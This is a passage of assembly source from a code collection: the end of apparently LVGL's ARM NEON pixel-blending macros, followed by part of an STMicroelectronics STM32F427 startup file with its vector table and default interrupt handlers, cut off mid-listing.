TMP_Q1, reg&_565, #3 @ rrGGGggg BBBbb000 vsri.8 reg&_R, reg&_R, #5 @ RRRrrRRR vmovn.i16 reg&_B, TMP_Q1 @ BBBbb000 vsri.8 reg&_G, reg&_G, #6 @ GGGgggGG vsri.8 reg&_B, reg&_B, #5 @ BBBbbBBB .endif .endif .endm .macro ldst op, bpp, len, mem, reg, cvt, wb .if bpp >= 31 .if len == 8 .if cvt v&op&4.8 {reg&_B, reg&_G, reg&_R, reg&_A}, [mem&_ADDR]&wb .else v&op&1.32 {reg&_8888_L, reg&_8888_H}, [mem&_ADDR]&wb .endif .else .if (op == st) && cvt convert reg, bpp, 1 .endif .if len == 7 v&op&1.32 {reg&_8888_L}, [mem&_ADDR]! v&op&1.32 {reg&_R}, [mem&_ADDR]! v&op&1.32 {reg&_A[0]}, [mem&_ADDR]! .elseif len == 6 v&op&1.32 {reg&_8888_L}, [mem&_ADDR]! v&op&1.32 {reg&_R}, [mem&_ADDR]! .elseif len == 5 v&op&1.32 {reg&_8888_L}, [mem&_ADDR]! v&op&1.32 {reg&_R[0]}, [mem&_ADDR]! .elseif len == 4 v&op&1.32 {reg&_8888_L}, [mem&_ADDR]&wb .elseif len == 3 v&op&1.32 {reg&_B}, [mem&_ADDR]! v&op&1.32 {reg&_G[0]}, [mem&_ADDR]! .elseif len == 2 v&op&1.32 {reg&_B}, [mem&_ADDR]&wb .elseif len == 1 v&op&1.32 {reg&_B[0]}, [mem&_ADDR]&wb .else .error "[32bpp]len should be 1~8" .endif .if (op == ld) && cvt convert reg, bpp, 0 .endif .if (wb&1) && (len != 4) && (len != 2) && (len != 1) sub mem&_ADDR, #4len .endif .endif .elseif bpp == 24 .if len == 8 .if cvt v&op&3.8 {reg&_B, reg&_G, reg&_R}, [mem&_ADDR]&wb .else v&op&1.8 {reg&_B, reg&_G, reg&_R}, [mem&_ADDR]&wb .endif .elseif (len < 8) && (len > 0) .if cvt v&op&3.8 {reg&_B[0], reg&_G[0], reg&_R[0]}, [mem&_ADDR]! .if len > 1 v&op&3.8 {reg&_B[1], reg&_G[1], reg&_R[1]}, [mem&_ADDR]! .endif .if len > 2 v&op&3.8 {reg&_B[2], reg&_G[2], reg&_R[2]}, [mem&_ADDR]! .endif .if len > 3 v&op&3.8 {reg&_B[3], reg&_G[3], reg&_R[3]}, [mem&_ADDR]! .endif .if len > 4 v&op&3.8 {reg&_B[4], reg&_G[4], reg&_R[4]}, [mem&_ADDR]! .endif .if len > 5 v&op&3.8 {reg&_B[5], reg&_G[5], reg&_R[5]}, [mem&_ADDR]! .endif .if len > 6 v&op&3.8 {reg&_B[6], reg&_G[6], reg&_R[6]}, [mem&_ADDR]! .endif .if wb&1 sub mem&_ADDR, #3len .endif .else .if len == 7 v&op&1.32 {reg&_8888_L}, [mem&_ADDR]! v&op&1.32 {reg&_R[0]}, [mem&_ADDR]! v&op&1.8 {reg&_R[4]}, [mem&_ADDR]! .elseif len == 6 v&op&1.32 {reg&_8888_L}, [mem&_ADDR]! v&op&1.16 {reg&_R[0]}, [mem&_ADDR]! .elseif len == 5 v&op&1.32 {reg&_B}, [mem&_ADDR]! v&op&1.32 {reg&_G[0]}, [mem&_ADDR]! v&op&1.16 {reg&_G[2]}, [mem&_ADDR]! v&op&1.8 {reg&_G[6]}, [mem&_ADDR]! .elseif len == 4 v&op&1.32 {reg&_B}, [mem&_ADDR]! v&op&1.32 {reg&_G[0]}, [mem&_ADDR]! .elseif len == 3 v&op&1.32 {reg&_B}, [mem&_ADDR]! v&op&1.8 {reg&_G[0]}, [mem&_ADDR]! .elseif len == 2 v&op&1.32 {reg&_B[0]}, [mem&_ADDR]! v&op&1.16 {reg&_B[2]}, [mem&_ADDR]! .elseif len == 1 v&op&1.16 {reg&_B[0]}, [mem&_ADDR]! v&op&1.8 {reg&_B[2]}, [mem&_ADDR]! .endif .if wb&1 sub mem&_ADDR, #3len .endif .endif .else .error "[24bpp]len should be 1~8" .endif .elseif bpp == 16 .if (op == st) && cvt convert reg, bpp, 1 .endif .if len == 8 v&op&1.16 {reg&_565}, [mem&_ADDR]&wb .elseif len == 7 v&op&1.16 {reg&_565_L}, [mem&_ADDR]! v&op&1.32 {reg&_565_H[0]}, [mem&_ADDR]! v&op&1.16 {reg&_565_H[2]}, [mem&_ADDR]! .if wb&1 sub mem&_ADDR, #14 .endif .elseif len == 6 v&op&1.16 {reg&_565_L}, [mem&_ADDR]! v&op&1.32 {reg&_565_H[0]}, [mem&_ADDR]! .if wb&1 sub mem&_ADDR, #12 .endif .elseif len == 5 v&op&1.16 {reg&_565_L}, [mem&_ADDR]! v&op&1.16 {reg&_565_H[0]}, [mem&_ADDR]! .if wb&1 sub mem&_ADDR, #10 .endif .elseif len == 4 v&op&1.16 {reg&_565_L}, [mem&_ADDR]&wb .elseif len == 3 v&op&1.32 {reg&_565_L[0]}, [mem&_ADDR]! v&op&1.16 {reg&_565_L[2]}, [mem&_ADDR]! .if wb&1 sub mem&_ADDR, #6 .endif .elseif len == 2 v&op&1.32 {reg&_565_L[0]}, [mem&_ADDR]&wb .elseif len == 1 v&op&1.16 {reg&_565_L[0]}, [mem&_ADDR]&wb .else .error "[16bpp]len should be 1~8" .endif .if (op == ld) && cvt convert reg, bpp, 0 .endif .elseif bpp == 8 .if len == 8 v&op&1.8 {reg&_A}, [mem&_ADDR]&wb .elseif len == 7 v&op&1.32 {reg&_A[0]}, [mem&_ADDR]! v&op&1.16 {reg&_A[2]}, [mem&_ADDR]! v&op&1.8 {reg&_A[6]}, [mem&_ADDR]! .if wb&1 sub mem&_ADDR, #7 .endif .elseif len == 6 v&op&1.32 {reg&_A[0]}, [mem&_ADDR]! v&op&1.16 {reg&_A[2]}, [mem&_ADDR]! .if wb&1 sub mem&_ADDR, #6 .endif .elseif len == 5 v&op&1.32 {reg&_A[0]}, [mem&_ADDR]! v&op&1.8 {reg&_A[4]}, [mem&_ADDR]! .if wb&1 sub mem&_ADDR, #5 .endif .elseif len == 4 v&op&1.32 {reg&_A[0]}, [mem&_ADDR]&wb .elseif len == 3 v&op&1.16 {reg&_A[0]}, [mem&_ADDR]! v&op&1.8 {reg&_A[2]}, [mem&_ADDR]! .if wb&1 sub mem&_ADDR, #3 .endif .elseif len == 2 v&op&1.16 {reg&_A[0]}, [mem&_ADDR]&wb .elseif len == 1 v&op&1.8 {reg&_A[0]}, [mem&_ADDR]&wb .else .error "[8bpp]len should be 1~8" .endif .elseif (bpp == 0) && wb&1 .if len == 8 v&op&3.8 {reg&_B[], reg&_G[], reg&_R[]}, [mem&_ADDR] .else .error "[color]len should be 8" .endif .endif .if (op == ld) && cvt && (bpp > 8) && (bpp < 32) vmov.u8 reg&_A, #0xFF .endif .endm .macro premult alpha vmull.u8 PREMULT_B, S_B, alpha vmull.u8 PREMULT_G, S_G, alpha vmull.u8 PREMULT_R, S_R, alpha .endm .macro init src_bpp, dst_bpp, mask, opa ldr DST_ADDR, [r0, #4] ldr DST_W, [r0, #8] ldr DST_H, [r0, #12] ldr DST_STRIDE, [r0, #16] ldr SRC_ADDR, [r0, #20] .if src_bpp > 0 ldr SRC_STRIDE, [r0, #24] .endif .if mask ldr MASK_ADDR, [r0, #28] ldr MASK_STRIDE, [r0, #32] sub MASK_STRIDE, MASK_STRIDE, DST_W .endif .if opa vld1.8 {OPA[]}, [r0] .else vmov.u8 OPA, #0xFF .endif vmvn D_A, OPA .if dst_bpp == 16 sub DST_STRIDE, DST_STRIDE, DST_W, lsl #1 .elseif dst_bpp == 24 sub DST_STRIDE, DST_STRIDE, DST_W sub DST_STRIDE, DST_STRIDE, DST_W, lsl #1 .elseif dst_bpp >= 31 sub DST_STRIDE, DST_STRIDE, DST_W, lsl #2 .endif .if src_bpp == 0 .if mask \|\| opa ldst ld, src_bpp, 8, SRC, S, 1 vmov.u8 S_A, #0xFF premult OPA .else ldst ld, src_bpp, 8, SRC, D, 1 vmov.u8 D_A, #0xFF convert D, dst_bpp, 1 .endif .else .if src_bpp == 16 sub SRC_STRIDE, SRC_STRIDE, DST_W, lsl #1 .elseif src_bpp == 24 sub SRC_STRIDE, SRC_STRIDE, DST_W sub SRC_STRIDE, SRC_STRIDE, DST_W, lsl #1 .elseif src_bpp >= 31 sub SRC_STRIDE, SRC_STRIDE, DST_W, lsl #2 .endif .endif mvn FG_MASK, #0 mvn BG_MASK, #0 .endm @ input: M_A = 255 - fg.alpha .macro calc_alpha len vmov.u8 TMP_D0, #0xFD vmvn D_A, D_A vcge.u8 TMP_D1, S_A, TMP_D0 @ if (fg.alpha >= LV_OPA_MAX vcge.u8 TMP_D2, D_A, TMP_D0 @ \|\| bg.alpha <= LV_OPA_MIN) vorr TMP_D2, TMP_D1 vcge.u8 TMP_D3, M_A, TMP_D0 @ elseif (fg.alpha <= LV_OPA_MIN) vmvn TMP_Q1, TMP_Q1 vshrn.i16 TMP_D0, TMP_Q1, #4 vmov FG_MASK, BG_MASK, TMP_D0 cbz FG_MASK, 99f @ return fg; vmull.u8 TMP_Q0, M_A, D_A @ D_A = 255 - LV_OPA_MIX2(255 - fg.alpha, 255 - bg.alpha) vqrshrn.u16 M_A, TMP_Q0, #8 vbif M_A, D_A, TMP_D3 @ insert original D_A when fg.alpha <= LV_OPA_MIN vmvn D_A, M_A cbz BG_MASK, 99f @ return bg; vmov.u8 TMP_D2, #0xFF vmovl.u8 TMP_Q0, D_A .if len > 4 vmovl.u16 S_565, TMP_D1 .endif vmovl.u16 TMP_Q0, TMP_D0 vmull.u8 TMP_Q1, S_A, TMP_D2 vcvt.f32.u32 TMP_Q0, TMP_Q0 .if len > 4 vmovl.u16 D_565, TMP_D3 vcvt.f32.u32 S_565, S_565 .endif vmovl.u16 TMP_Q1, TMP_D2 vrecpe.f32 TMP_Q0, TMP_Q0 vcvt.f32.u32 TMP_Q1, TMP_Q1 .if len > 4 vcvt.f32.u32 D_565, D_565 vrecpe.f32 S_565, S_565 .endif vmul.f32 TMP_Q0, TMP_Q0, TMP_Q1 .if len > 4 vmul.f32 S_565, S_565, D_565 .endif vcvt.u32.f32 TMP_Q0, TMP_Q0 .if len > 4 vcvt.u32.f32 S_565, S_565 .endif vmovn.u32 TMP_D0, TMP_Q0 .if len > 4 vmovn.u32 TMP_D1, S_565 .endif vmovn.u16 TMP_D0, TMP_Q0 premult TMP_D0 vmvn M_A, TMP_D0 99: .endm .macro blend mode, dst_bpp .if dst_bpp == 32 vmov TMP_D0, FG_MASK, BG_MASK vmovl.s8 TMP_Q0, TMP_D0 vsli.8 TMP_Q0, TMP_Q0, #4 cbz FG_MASK, 98f .endif .if mode == normal .if dst_bpp == 32 cbz BG_MASK, 97f mvns BG_MASK, BG_MASK beq 96f vmov S_565_L, D_B vmov S_565_H, D_G vmov D_565_L, D_R .endif 96: vmlal.u8 PREMULT_B, D_B, M_A vmlal.u8 PREMULT_G, D_G, M_A vmlal.u8 PREMULT_R, D_R, M_A vqrshrn.u16 D_B, PREMULT_B, #8 vqrshrn.u16 D_G, PREMULT_G, #8 vqrshrn.u16 D_R, PREMULT_R, #8 .if dst_bpp == 32 beq 97f vbif D_B, S_565_L, TMP_D1 vbif D_G, S_565_H, TMP_D1 vbif D_R, D_565_L, TMP_D1 97: mvns FG_MASK, FG_MASK beq 99f .endif .else .error "blend mode is unsupported" .endif .if dst_bpp == 32 98: vbif D_B, S_B, TMP_D0 vbif D_G, S_G, TMP_D0 vbif D_R, S_R, TMP_D0 vbif D_A, S_A, TMP_D0 99: .endif .endm .macro process len, src_bpp, dst_bpp, mask, opa, mode .if (src_bpp < 32) && (mask == 0) && (opa == 0) @ no blend .if src_bpp == 0 \|\| src_bpp == dst_bpp ldst ld, src_bpp, len, SRC, D, 0, ! ldst st, dst_bpp, len, DST, D, 0, ! .else ldst ld, src_bpp, len, SRC, D, 1, ! ldst st, dst_bpp, len, DST, D, 1, ! .endif .elseif src_bpp < 32 @ no src_a .if src_bpp > 0 ldst ld, src_bpp, len, SRC, S, 1, ! .endif ldst ld, dst_bpp, len, DST, D, 1 .if mask ldst ld, 8, len, MASK, S, 1, ! .if opa vmull.u8 TMP_Q0, S_A, OPA vqrshrn.u16 S_A, TMP_Q0, #8 .endif vmvn M_A, S_A .if dst_bpp < 32 premult S_A .else calc_alpha len .endif .else vmvn M_A, OPA .if dst_bpp < 32 premult OPA .else vmov S_A, OPA calc_alpha len .endif .endif blend mode, dst_bpp ldst st, dst_bpp, len, DST, D, 1, ! .else @ src_a (+mask) (+opa) ldst ld, src_bpp, len, SRC, S, 1, ! ldst ld, dst_bpp, len, DST, D, 1 .if mask == 0 .if opa vmull.u8 TMP_Q0, S_A, OPA vqrshrn.u16 S_A, TMP_Q0, #8 .endif .else ldst ld, 8, len, MASK, M, 1, ! vmull.u8 TMP_Q0, S_A, M_A vqrshrn.u16 S_A, TMP_Q0, #8 .if opa vmull.u8 TMP_Q0, S_A, OPA vqrshrn.u16 S_A, TMP_Q0, #8 .endif .endif vmvn M_A, S_A .if dst_bpp < 32 premult S_A .else calc_alpha len .endif blend mode, dst_bpp ldst st, dst_bpp, len, DST, D, 1, ! .endif .endm .macro tail src_bpp, dst_bpp, mask, opa, mode tst DST_W, #4 beq 3f tst DST_W, #2 beq 5f tst DST_W, #1 beq 6f process 7, src_bpp, dst_bpp, mask, opa, mode b 0f 6: process 6, src_bpp, dst_bpp, mask, opa, mode b 0f 5: tst DST_W, #1 beq 4f process 5, src_bpp, dst_bpp, mask, opa, mode b 0f 4: process 4, src_bpp, dst_bpp, mask, opa, mode b 0f 3: tst DST_W, #2 beq 1f tst DST_W, #1 beq 2f process 3, src_bpp, dst_bpp, mask, opa, mode b 0f 2: process 2, src_bpp, dst_bpp, mask, opa, mode b 0f 1: process 1, src_bpp, dst_bpp, mask, opa, mode 0: .endm .macro next src_bpp, mask add DST_ADDR, DST_ADDR, DST_STRIDE .if src_bpp add SRC_ADDR, SRC_ADDR, SRC_STRIDE .endif .if mask add MASK_ADDR, MASK_ADDR, MASK_STRIDE .endif .endm .macro enter push {r4-r11, lr} .endm .macro exit pop {r4-r11, pc} .endm .macro preload mem, bpp .if bpp >= 31 pld [mem&_ADDR, DST_W, lsl #2] .elseif bpp == 24 add W, DST_W, DST_W, lsl #1 pld [mem&_ADDR, W] .elseif bpp == 16 pld [mem&_ADDR, DST_W, lsl #1] .elseif bpp == 8 pld [mem&_ADDR, DST_W] .endif .endm .macro blender src_bpp, dst_bpp, mask, opa, mode enter init src_bpp, dst_bpp, mask, opa movs H, DST_H beq 0f preload SRC, src_bpp .if mask \|\| opa \|\| (src_bpp == 32) preload DST, dst_bpp .endif subs W, DST_W, #8 blt 7f 9: process 8, src_bpp, dst_bpp, mask, opa, mode subs W, W, #8 bge 9b tst DST_W, #7 beq 8f tail src_bpp, dst_bpp, mask, opa, mode 8: next src_bpp, mask preload SRC, src_bpp .if mask \|\| opa \|\| (src_bpp == 32) preload DST, dst_bpp .endif sub W, DST_W, #8 subs H, H, #1 bgt 9b exit 7: tail src_bpp, dst_bpp, mask, opa, mode next src_bpp, mask subs H, H, #1 bgt 7b exit .endm .macro export name, src_bpp, dst_bpp, mask, opa, mode .thumb_func .func name .global name .hidden name name&: blender src_bpp, dst_bpp, mask, opa, mode .endfunc .endm .macro export_set src, dst, src_bpp, dst_bpp, mode .if src == color export _lv_&src&_blend_to_&dst&_neon, src_bpp, dst_bpp, 0, 0, mode export _lv_&src&_blend_to_&dst&_with_opa_neon, src_bpp, dst_bpp, 0, 1, mode export _lv_&src&_blend_to_&dst&_with_mask_neon, src_bpp, dst_bpp, 1, 0, mode export _lv_&src&_blend_to_&dst&_mix_mask_opa_neon, src_bpp, dst_bpp, 1, 1, mode .else export _lv_&src&_blend_&mode&_to_&dst&_neon, src_bpp, dst_bpp, 0, 0, mode export _lv_&src&_blend_&mode&_to_&dst&_with_opa_neon, src_bpp, dst_bpp, 0, 1, mode export _lv_&src&_blend_&mode&_to_&dst&_with_mask_neon, src_bpp, dst_bpp, 1, 0, mode export _lv_&src&_blend_&mode&_to_&dst&_mix_mask_opa_neon, src_bpp, dst_bpp, 1, 1, mode .endif .endm export_set color, rgb565, 0, 16, normal export_set rgb565, rgb565, 16, 16, normal export_set rgb888, rgb565, 24, 16, normal export_set xrgb8888, rgb565, 31, 16, normal export_set argb8888, rgb565, 32, 16, normal export_set color, rgb888, 0, 24, normal export_set rgb565, rgb888, 16, 24, normal export_set rgb888, rgb888, 24, 24, normal export_set xrgb8888, rgb888, 31, 24, normal export_set argb8888, rgb888, 32, 24, normal export_set color, xrgb8888, 0, 31, normal export_set rgb565, xrgb8888, 16, 31, normal export_set rgb888, xrgb8888, 24, 31, normal export_set xrgb8888, xrgb8888, 31, 31, normal export_set argb8888, xrgb8888, 32, 31, normal export_set color, argb8888, 0, 32, normal export_set rgb565, argb8888, 16, 32, normal export_set rgb888, argb8888, 24, 32, normal export_set xrgb8888, argb8888, 31, 32, normal export_set argb8888, argb8888, 32, 32, normal #endif /LV_USE_DRAW_SW_ASM == LV_DRAW_SW_ASM_NEON/
1105042987/RM_frame	30,852	MDK-ARM/startup_stm32f427xx.s	;****************** (C) COPYRIGHT 2017 STMicroelectronics ****************** ;* File Name : startup_stm32f427xx.s ;* Author : MCD Application Team ;* Description : STM32F427x devices vector table for MDK-ARM toolchain. ;* This module performs: ;* - Set the initial SP ;* - Set the initial PC == Reset_Handler ;* - Set the vector table entries with the exceptions ISR address ;* After Reset the CortexM4 processor is in Thread mode, ;* priority is Privileged, and the Stack is set to Main. ;* <<< Use Configuration Wizard in Context Menu >>> ;******************************************************************************* ; ;* Redistribution and use in source and binary forms, with or without modification, ;* are permitted provided that the following conditions are met: ;* 1. Redistributions of source code must retain the above copyright notice, ;* this list of conditions and the following disclaimer. ;* 2. Redistributions in binary form must reproduce the above copyright notice, ;* this list of conditions and the following disclaimer in the documentation ;* and/or other materials provided with the distribution. ;* 3. Neither the name of STMicroelectronics nor the names of its contributors ;* may be used to endorse or promote products derived from this software ;* without specific prior written permission. ;* ;* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ;* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE ;* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ;* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ;* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ;* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ; ;***************************************************************************** ; Amount of memory (in bytes) allocated for Stack ; Tailor this value to your application needs ; <h> Stack Configuration ; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Stack_Size EQU 0x400 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; <h> Heap Configuration ; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8> ; </h> Heap_Size EQU 0x200 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit PRESERVE8 THUMB ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors EXPORT __Vectors_End EXPORT __Vectors_Size __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler DCD NMI_Handler ; NMI Handler DCD HardFault_Handler ; Hard Fault Handler DCD MemManage_Handler ; MPU Fault Handler DCD BusFault_Handler ; Bus Fault Handler DCD UsageFault_Handler ; Usage Fault Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD SVC_Handler ; SVCall Handler DCD DebugMon_Handler ; Debug Monitor Handler DCD 0 ; Reserved DCD PendSV_Handler ; PendSV Handler DCD SysTick_Handler ; SysTick Handler ; External Interrupts DCD WWDG_IRQHandler ; Window WatchDog DCD PVD_IRQHandler ; PVD through EXTI Line detection DCD TAMP_STAMP_IRQHandler ; Tamper and TimeStamps through the EXTI line DCD RTC_WKUP_IRQHandler ; RTC Wakeup through the EXTI line DCD FLASH_IRQHandler ; FLASH DCD RCC_IRQHandler ; RCC DCD EXTI0_IRQHandler ; EXTI Line0 DCD EXTI1_IRQHandler ; EXTI Line1 DCD EXTI2_IRQHandler ; EXTI Line2 DCD EXTI3_IRQHandler ; EXTI Line3 DCD EXTI4_IRQHandler ; EXTI Line4 DCD DMA1_Stream0_IRQHandler ; DMA1 Stream 0 DCD DMA1_Stream1_IRQHandler ; DMA1 Stream 1 DCD DMA1_Stream2_IRQHandler ; DMA1 Stream 2 DCD DMA1_Stream3_IRQHandler ; DMA1 Stream 3 DCD DMA1_Stream4_IRQHandler ; DMA1 Stream 4 DCD DMA1_Stream5_IRQHandler ; DMA1 Stream 5 DCD DMA1_Stream6_IRQHandler ; DMA1 Stream 6 DCD ADC_IRQHandler ; ADC1, ADC2 and ADC3s DCD CAN1_TX_IRQHandler ; CAN1 TX DCD CAN1_RX0_IRQHandler ; CAN1 RX0 DCD CAN1_RX1_IRQHandler ; CAN1 RX1 DCD CAN1_SCE_IRQHandler ; CAN1 SCE DCD EXTI9_5_IRQHandler ; External Line[9:5]s DCD TIM1_BRK_TIM9_IRQHandler ; TIM1 Break and TIM9 DCD TIM1_UP_TIM10_IRQHandler ; TIM1 Update and TIM10 DCD TIM1_TRG_COM_TIM11_IRQHandler ; TIM1 Trigger and Commutation and TIM11 DCD TIM1_CC_IRQHandler ; TIM1 Capture Compare DCD TIM2_IRQHandler ; TIM2 DCD TIM3_IRQHandler ; TIM3 DCD TIM4_IRQHandler ; TIM4 DCD I2C1_EV_IRQHandler ; I2C1 Event DCD I2C1_ER_IRQHandler ; I2C1 Error DCD I2C2_EV_IRQHandler ; I2C2 Event DCD I2C2_ER_IRQHandler ; I2C2 Error DCD SPI1_IRQHandler ; SPI1 DCD SPI2_IRQHandler ; SPI2 DCD USART1_IRQHandler ; USART1 DCD USART2_IRQHandler ; USART2 DCD USART3_IRQHandler ; USART3 DCD EXTI15_10_IRQHandler ; External Line[15:10]s DCD RTC_Alarm_IRQHandler ; RTC Alarm (A and B) through EXTI Line DCD OTG_FS_WKUP_IRQHandler ; USB OTG FS Wakeup through EXTI line DCD TIM8_BRK_TIM12_IRQHandler ; TIM8 Break and TIM12 DCD TIM8_UP_TIM13_IRQHandler ; TIM8 Update and TIM13 DCD TIM8_TRG_COM_TIM14_IRQHandler ; TIM8 Trigger and Commutation and TIM14 DCD TIM8_CC_IRQHandler ; TIM8 Capture Compare DCD DMA1_Stream7_IRQHandler ; DMA1 Stream7 DCD FMC_IRQHandler ; FMC DCD SDIO_IRQHandler ; SDIO DCD TIM5_IRQHandler ; TIM5 DCD SPI3_IRQHandler ; SPI3 DCD UART4_IRQHandler ; UART4 DCD UART5_IRQHandler ; UART5 DCD TIM6_DAC_IRQHandler ; TIM6 and DAC1&2 underrun errors DCD TIM7_IRQHandler ; TIM7 DCD DMA2_Stream0_IRQHandler ; DMA2 Stream 0 DCD DMA2_Stream1_IRQHandler ; DMA2 Stream 1 DCD DMA2_Stream2_IRQHandler ; DMA2 Stream 2 DCD DMA2_Stream3_IRQHandler ; DMA2 Stream 3 DCD DMA2_Stream4_IRQHandler ; DMA2 Stream 4 DCD ETH_IRQHandler ; Ethernet DCD ETH_WKUP_IRQHandler ; Ethernet Wakeup through EXTI line DCD CAN2_TX_IRQHandler ; CAN2 TX DCD CAN2_RX0_IRQHandler ; CAN2 RX0 DCD CAN2_RX1_IRQHandler ; CAN2 RX1 DCD CAN2_SCE_IRQHandler ; CAN2 SCE DCD OTG_FS_IRQHandler ; USB OTG FS DCD DMA2_Stream5_IRQHandler ; DMA2 Stream 5 DCD DMA2_Stream6_IRQHandler ; DMA2 Stream 6 DCD DMA2_Stream7_IRQHandler ; DMA2 Stream 7 DCD USART6_IRQHandler ; USART6 DCD I2C3_EV_IRQHandler ; I2C3 event DCD I2C3_ER_IRQHandler ; I2C3 error DCD OTG_HS_EP1_OUT_IRQHandler ; USB OTG HS End Point 1 Out DCD OTG_HS_EP1_IN_IRQHandler ; USB OTG HS End Point 1 In DCD OTG_HS_WKUP_IRQHandler ; USB OTG HS Wakeup through EXTI DCD OTG_HS_IRQHandler ; USB OTG HS DCD DCMI_IRQHandler ; DCMI DCD 0 ; Reserved DCD HASH_RNG_IRQHandler ; Hash and Rng DCD FPU_IRQHandler ; FPU DCD UART7_IRQHandler ; UART7 DCD UART8_IRQHandler ; UART8 DCD SPI4_IRQHandler ; SPI4 DCD SPI5_IRQHandler ; SPI5 DCD SPI6_IRQHandler ; SPI6 DCD SAI1_IRQHandler ; SAI1 DCD 0 ; Reserved DCD 0 ; Reserved DCD DMA2D_IRQHandler ; DMA2D __Vectors_End __Vectors_Size EQU __Vectors_End - __Vectors AREA \|.text\|, CODE, READONLY ; Reset handler Reset_Handler PROC EXPORT Reset_Handler [WEAK] IMPORT SystemInit IMPORT __main LDR R0, =SystemInit BLX R0 LDR R0, =__main BX R0 ENDP ; Dummy Exception Handlers (infinite loops which can be modified) NMI_Handler PROC EXPORT NMI_Handler [WEAK] B . ENDP HardFault_Handler\ PROC EXPORT HardFault_Handler [WEAK] B . ENDP MemManage_Handler\ PROC EXPORT MemManage_Handler [WEAK] B . ENDP BusFault_Handler\ PROC EXPORT BusFault_Handler [WEAK] B . ENDP UsageFault_Handler\ PROC EXPORT UsageFault_Handler [WEAK] B . ENDP SVC_Handler PROC EXPORT SVC_Handler [WEAK] B . ENDP DebugMon_Handler\ PROC EXPORT DebugMon_Handler [WEAK] B . ENDP PendSV_Handler PROC EXPORT PendSV_Handler [WEAK] B . ENDP SysTick_Handler PROC EXPORT SysTick_Handler [WEAK] B . ENDP Default_Handler PROC EXPORT WWDG_IRQHandler [WEAK] EXPORT PVD_IRQHandler [WEAK] EXPORT TAMP_STAMP_IRQHandler [WEAK] EXPORT RTC_WKUP_IRQHandler [WEAK] EXPORT FLASH_IRQHandler [WEAK] EXPORT RCC_IRQHandler [WEAK] EXPORT EXTI0_IRQHandler [WEAK] EXPORT EXTI1_IRQHandler [WEAK] EXPORT EXTI2_IRQHandler [WEAK] EXPORT EXTI3_IRQHandler [WEAK] EXPORT EXTI4_IRQHandler [WEAK] EXPORT DMA1_Stream0_IRQHandler [WEAK] EXPORT DMA1_Stream1_IRQHandler [WEAK] EXPORT DMA1_Stream2_IRQHandler [WEAK] EXPORT DMA1_Stream3_IRQHandler [WEAK] EXPORT DMA1_Stream4_IRQHandler [WEAK] EXPORT DMA1_Stream5_IRQHandler [WEAK] EXPORT DMA1_Stream6_IRQHandler [WEAK] EXPORT ADC_IRQHandler [WEAK] EXPORT CAN1_TX_IRQHandler [WEAK] EXPORT CAN1_RX0_IRQHandler [WEAK] EXPORT CAN1_RX1_IRQHandler [WEAK] EXPORT CAN1_SCE_IRQHandler [WEAK] EXPORT EXTI9_5_IRQHandler [WEAK] EXPORT TIM1_BRK_TIM9_IRQHandler [WEAK] EXPORT TIM1_UP_TIM10_IRQHandler [WEAK] EXPORT TIM1_TRG_COM_TIM11_IRQHandler [WEAK] EXPORT TIM1_CC_IRQHandler [WEAK] EXPORT TIM2_IRQHandler [WEAK] EXPORT TIM3_IRQHandler [WEAK] EXPORT TIM4_IRQHandler [WEAK] EXPORT I2C1_EV_IRQHandler [WEAK] EXPORT I2C1_ER_IRQHandler [WEAK] EXPORT I2C2_EV_IRQHandler [WEAK] EXPORT I2C2_ER_IRQHandler [WEAK] EXPORT SPI1_IRQHandler [WEAK] EXPORT SPI2_IRQHandler [WEAK] EXPORT USART1_IRQHandler [WEAK] EXPORT USART2_IRQHandler [WEAK] EXPORT USART3_IRQHandler [WEAK] EXPORT EXTI15_10_IRQHandler [WEAK] EXPORT RTC_Alarm_IRQHandler [WEAK] EXPORT OTG_FS_WKUP_IRQHandler [WEAK] EXPORT TIM8_BRK_TIM12_IRQHandler [WEAK] EXPORT TIM8_UP_TIM13_IRQHandler [WEAK] EXPORT TIM8_TRG_COM_TIM14_IRQHandler [WEAK] EXPORT TIM8_CC_IRQHandler [WEAK] EXPORT DMA1_Stream7_IRQHandler [WEAK] EXPORT FMC_IRQHandler [WEAK] EXPORT SDIO_IRQHandler [WEAK] EXPORT TIM5_IRQHandler [WEAK] EXPORT SPI3_IRQHandler [WEAK] EXPORT UART4_IRQHandler [WEAK] EXPORT UART5_IRQHandler [WEAK] EXPORT TIM6_DAC_IRQHandler [WEAK] EXPORT TIM7_IRQHandler [WEAK] EXPORT DMA2_Stream0_IRQHandler [WEAK] EXPORT DMA2_Stream1_IRQHandler [WEAK] EXPORT DMA2_Stream2_IRQHandler [WEAK] EXPORT DMA2_Stream3_IRQHandler [WEAK] EXPORT DMA2_Stream4_IRQHandler [WEAK] EXPORT ETH_IRQHandler [WEAK] EXPORT ETH_WKUP_IRQHandler [WEAK] EXPORT CAN2_TX_IRQHandler [WEAK] EXPORT CAN2_RX0_IRQHandler [WEAK] EXPORT CAN2_RX1_IRQHandler [WEAK] EXPORT CAN2_SCE_IRQHandler [WEAK] EXPORT OTG_FS_IRQHandler [WEAK] EXPORT 